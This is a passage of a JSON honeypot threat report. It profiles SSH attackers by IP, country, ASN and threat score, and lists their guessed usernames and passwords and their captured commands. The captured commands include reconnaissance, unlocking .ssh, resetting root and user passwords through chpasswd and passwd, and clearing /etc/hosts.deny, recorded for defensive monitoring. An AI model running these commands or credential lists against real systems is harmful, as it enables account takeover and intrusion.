        "9090",
        "Bhavesh123!",
        "Desktop123!",
        "Lucas123",
        "Salman123!",
        "andy123",
        "bert123",
        "kirillpass",
        "lorenzo123",
        "modify",
        "qwe123@@",
        "ss123",
        "temp@1234",
        "tian"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Bhavesh123!\\nL7FCeQmeCInn\\nL7FCeQmeCInn\\n\"|passwd",
        "echo \"bert123\\ndOZsfX96NrMv\\ndOZsfX96NrMv\\n\"|passwd",
        "echo \"root:4WwKWFim9Yqn\"|chpasswd|bash",
        "echo -e \"Bhavesh123!\\nL7FCeQmeCInn\\nL7FCeQmeCInn\"|passwd|bash",
        "echo -e \"bert123\\ndOZsfX96NrMv\\ndOZsfX96NrMv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 339,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:47:59.582000+00:00",
        "last_seen_30d": "2026-03-25T14:12:00.070000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 54
      }
    },
    "43.134.49.202": {
      "attack_count": 285,
      "first_seen": "2026-03-04T03:22:17.627Z",
      "last_seen": "2026-03-25T22:29:48.031Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ashish",
        "comp",
        "silvia",
        "sonarqube",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "1qaz2wsx#EDC$RFV",
        "Admin123!!!",
        "Bingo@1993",
        "Cj123456",
        "Itsemoemo2025@Washere2025",
        "Wm123456",
        "ashish1234",
        "changepassword",
        "huahua",
        "node2024",
        "qwe12345.",
        "roott",
        "silvia123!",
        "user3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ashish1234\\n8LJKMIl9mC3B\\n8LJKMIl9mC3B\\n\"|passwd",
        "echo \"root:Cq1QZP35pAyu\"|chpasswd|bash",
        "echo \"root:S3EVw1gRJHzC\"|chpasswd|bash",
        "echo -e \"ashish1234\\n8LJKMIl9mC3B\\n8LJKMIl9mC3B\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 44.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:22:17.627000+00:00",
        "last_seen_30d": "2026-03-25T22:30:51.933000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 53
      }
    },
    "91.217.139.150": {
      "attack_count": 252,
      "first_seen": "2026-03-15T10:40:59.690Z",
      "last_seen": "2026-03-15T11:04:15.115Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "rico",
        "tms",
        "user1",
        "administrator",
        "erwin",
        "music",
        "ray",
        "sami",
        "yasin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Administrator123",
        "Rico123!",
        "erwinpass",
        "ray",
        "tms",
        "user1",
        "yasin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Rico123!\\nsqPUJRnrRLUR\\nsqPUJRnrRLUR\\n\"|passwd",
        "echo \"tms\\nRMrDZUcymrzT\\nRMrDZUcymrzT\\n\"|passwd",
        "echo \"user1\\njaktZ6oYXpAy\\njaktZ6oYXpAy\\n\"|passwd",
        "echo -e \"Rico123!\\nsqPUJRnrRLUR\\nsqPUJRnrRLUR\"|passwd|bash",
        "echo -e \"tms\\nRMrDZUcymrzT\\nRMrDZUcymrzT\"|passwd|bash",
        "echo -e \"user1\\njaktZ6oYXpAy\\njaktZ6oYXpAy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:06:01.058000+00:00",
        "last_seen_30d": "2026-03-20T19:46:01.023000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 70
      }
    },
    "51.83.192.124": {
      "attack_count": 193,
      "first_seen": "2026-03-12T10:22:35.582Z",
      "last_seen": "2026-03-12T10:41:37.769Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kanban",
        "username",
        "apagar",
        "beehive",
        "claude",
        "reolink",
        "root",
        "sai",
        "sd",
        "test_user",
        "ve"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "228228",
        "Sai123",
        "Ve123!",
        "apagar123!",
        "beehive123!",
        "claude123",
        "sd123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nedvm5YsPXbEY\\nedvm5YsPXbEY\\n\"|passwd",
        "echo \"1234\\naJlA9V1HFbMz\\naJlA9V1HFbMz\\n\"|passwd",
        "echo -e \"123456\\nedvm5YsPXbEY\\nedvm5YsPXbEY\"|passwd|bash",
        "echo -e \"1234\\naJlA9V1HFbMz\\naJlA9V1HFbMz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T10:22:35.582000+00:00",
        "last_seen_30d": "2026-03-12T10:42:45.158000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "118.193.37.79": {
      "attack_count": 188,
      "first_seen": "2026-03-12T04:21:15.417Z",
      "last_seen": "2026-03-20T22:15:55.908Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "paula",
        "345gs5662d34",
        "acer",
        "backup",
        "center",
        "elearn",
        "mailtest",
        "man",
        "proxy",
        "rd",
        "rock",
        "server",
        "tmp"
      ],
      "passwords_attempted": [
        "12345",
        "111111",
        "123456",
        "12345678",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "Acer123!",
        "Mailtest123!",
        "admin",
        "center",
        "qwertyuiop",
        "rock"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\ncV2rsPc3OK1U\\ncV2rsPc3OK1U\\n\"|passwd",
        "echo \"admin\\nR3ssIVbQkO5s\\nR3ssIVbQkO5s\\n\"|passwd",
        "echo -e \"12345\\ncV2rsPc3OK1U\\ncV2rsPc3OK1U\"|passwd|bash",
        "echo -e \"admin\\nR3ssIVbQkO5s\\nR3ssIVbQkO5s\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T04:21:15.417000+00:00",
        "last_seen_30d": "2026-03-20T22:17:05.595000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 37
      }
    },
    "190.181.27.27": {
      "attack_count": 188,
      "first_seen": "2026-03-08T10:43:58.259Z",
      "last_seen": "2026-03-08T11:06:07.290Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mongod",
        "webmin",
        "esuser",
        "family",
        "manel",
        "player",
        "purple",
        "rose",
        "saeed",
        "vincent"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "Rose123!",
        "manel1234",
        "mongod123",
        "password",
        "saeed1234",
        "vincentpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nszTKt00nOgQE\\nszTKt00nOgQE\\n\"|passwd",
        "echo \"mongod123\\n7Wy0M96HuZ7M\\n7Wy0M96HuZ7M\\n\"|passwd",
        "echo -e \"123\\nszTKt00nOgQE\\nszTKt00nOgQE\"|passwd|bash",
        "echo -e \"mongod123\\n7Wy0M96HuZ7M\\n7Wy0M96HuZ7M\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T10:43:58.259000+00:00",
        "last_seen_30d": "2026-03-08T11:07:08.811000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "203.209.181.4": {
      "attack_count": 188,
      "first_seen": "2026-03-08T01:34:11.876Z",
      "last_seen": "2026-03-08T01:55:49.943Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mata",
        "user",
        "amir",
        "be",
        "erp",
        "escaner",
        "lg",
        "m1",
        "root",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Abcd1234..",
        "Amir123!",
        "Lg123",
        "be123!",
        "erp123!",
        "m1123!",
        "mata",
        "password",
        "user123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"mata\\n6X95lynEaRix\\n6X95lynEaRix\\n\"|passwd",
        "echo \"user123456\\nnJwYbZt8mlcV\\nnJwYbZt8mlcV\\n\"|passwd",
        "echo -e \"mata\\n6X95lynEaRix\\n6X95lynEaRix\"|passwd|bash",
        "echo -e \"user123456\\nnJwYbZt8mlcV\\nnJwYbZt8mlcV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24088,
      "as_org": "Hanoi Telecom Joint Stock Company - HCMC Branch",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:34:11.876000+00:00",
        "last_seen_30d": "2026-03-08T01:56:55.061000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "106.252.57.21": {
      "attack_count": 168,
      "first_seen": "2026-03-29T05:17:20.637Z",
      "last_seen": "2026-03-29T06:27:21.064Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0990",
        "123456Qwerty!",
        "20250717",
        "212223",
        "3245gs5662d34",
        "345ert#$6.908764E-310RT",
        "345gs5662d34",
        "@1234",
        "Debian2025",
        "Gandalf4Lord1434",
        "Jy123456",
        "P@ssw0rd01*",
        "Qwe1234.",
        "Yk123456",
        "akusayangkamu",
        "idckk.com202634",
        "intern",
        "linuxbabe",
        "qazxsw123!",
        "qwerty@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gNKy3ozud6X9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T05:17:20.637000+00:00",
        "last_seen_30d": "2026-03-29T06:28:22.171000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "80.94.95.115": {
      "attack_count": 166,
      "first_seen": "2026-03-02T04:14:56.664Z",
      "last_seen": "2026-03-25T18:59:50.789Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubnt",
        "12345",
        "guest",
        "mysql",
        "telecomadmin",
        "user",
        "1",
        "anonymous",
        "daniel",
        "hacluster",
        "lab",
        "onlime_r",
        "support"
      ],
      "passwords_attempted": [
        "12345",
        "",
        "admin",
        "admintelecom",
        "guest",
        "password",
        "1",
        "1234",
        "123456",
        "4dm1n",
        "7ujMko0admin",
        "admin1",
        "admins",
        "alpine",
        "daniel",
        "hacluster",
        "lab123",
        "libreelec",
        "live",
        "openmediavault"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.direct-tcpip.data",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:14:56.664000+00:00",
        "last_seen_30d": "2026-03-25T19:01:00.772000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 96
      }
    },
    "107.173.10.5": {
      "attack_count": 163,
      "first_seen": "2026-03-26T18:50:15.800Z",
      "last_seen": "2026-03-26T19:15:06.553Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "home",
        "search",
        "ansible",
        "sipv",
        "wiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "sipvpass",
        "wiki123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nlYKliVoHQoOT\\nlYKliVoHQoOT\\n\"|passwd",
        "echo \"123\\nmrxt0nDspS25\\nmrxt0nDspS25\\n\"|passwd",
        "echo -e \"12345\\nlYKliVoHQoOT\\nlYKliVoHQoOT\"|passwd|bash",
        "echo -e \"123\\nmrxt0nDspS25\\nmrxt0nDspS25\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:50:15.800000+00:00",
        "last_seen_30d": "2026-03-26T19:16:14.280000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 21
      }
    },
    "187.194.129.137": {
      "attack_count": 144,
      "first_seen": "2026-03-17T19:40:56.321Z",
      "last_seen": "2026-03-17T20:10:01.954Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "wordpress",
        "345gs5662d34",
        "agent",
        "emily",
        "jon",
        "lorenz",
        "moodle",
        "nodejs",
        "rundeck",
        "sales1",
        "teste",
        "user6",
        "userroot"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "A@123456",
        "Emily123",
        "Rundeck",
        "agent",
        "jon",
        "moodle",
        "password",
        "qweQWE123",
        "testepass",
        "user6pass",
        "userroot@123456",
        "wordpress@123456",
        "zxc123..."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"wordpress@123456\\n1YBBXuQBiwVY\\n1YBBXuQBiwVY\\n\"|passwd",
        "echo -e \"wordpress@123456\\n1YBBXuQBiwVY\\n1YBBXuQBiwVY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Andr\u00e9s Cholula",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T19:40:56.321000+00:00",
        "last_seen_30d": "2026-03-17T20:11:03.767000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "54.39.20.135": {
      "attack_count": 134,
      "first_seen": "2026-03-02T00:01:37.997Z",
      "last_seen": "2026-03-06T08:00:17.766Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "def",
        "345gs5662d34",
        "client",
        "devman",
        "gits",
        "max",
        "proradis",
        "robot",
        "syj",
        "test101"
      ],
      "passwords_attempted": [
        "password",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Ch123456",
        "Robot123",
        "Syj123",
        "client123",
        "gits",
        "proradis123!",
        "zs123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nZTgZtzdB9KdL\\nZTgZtzdB9KdL\\n\"|passwd",
        "echo -e \"12345678\\nZTgZtzdB9KdL\\nZTgZtzdB9KdL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
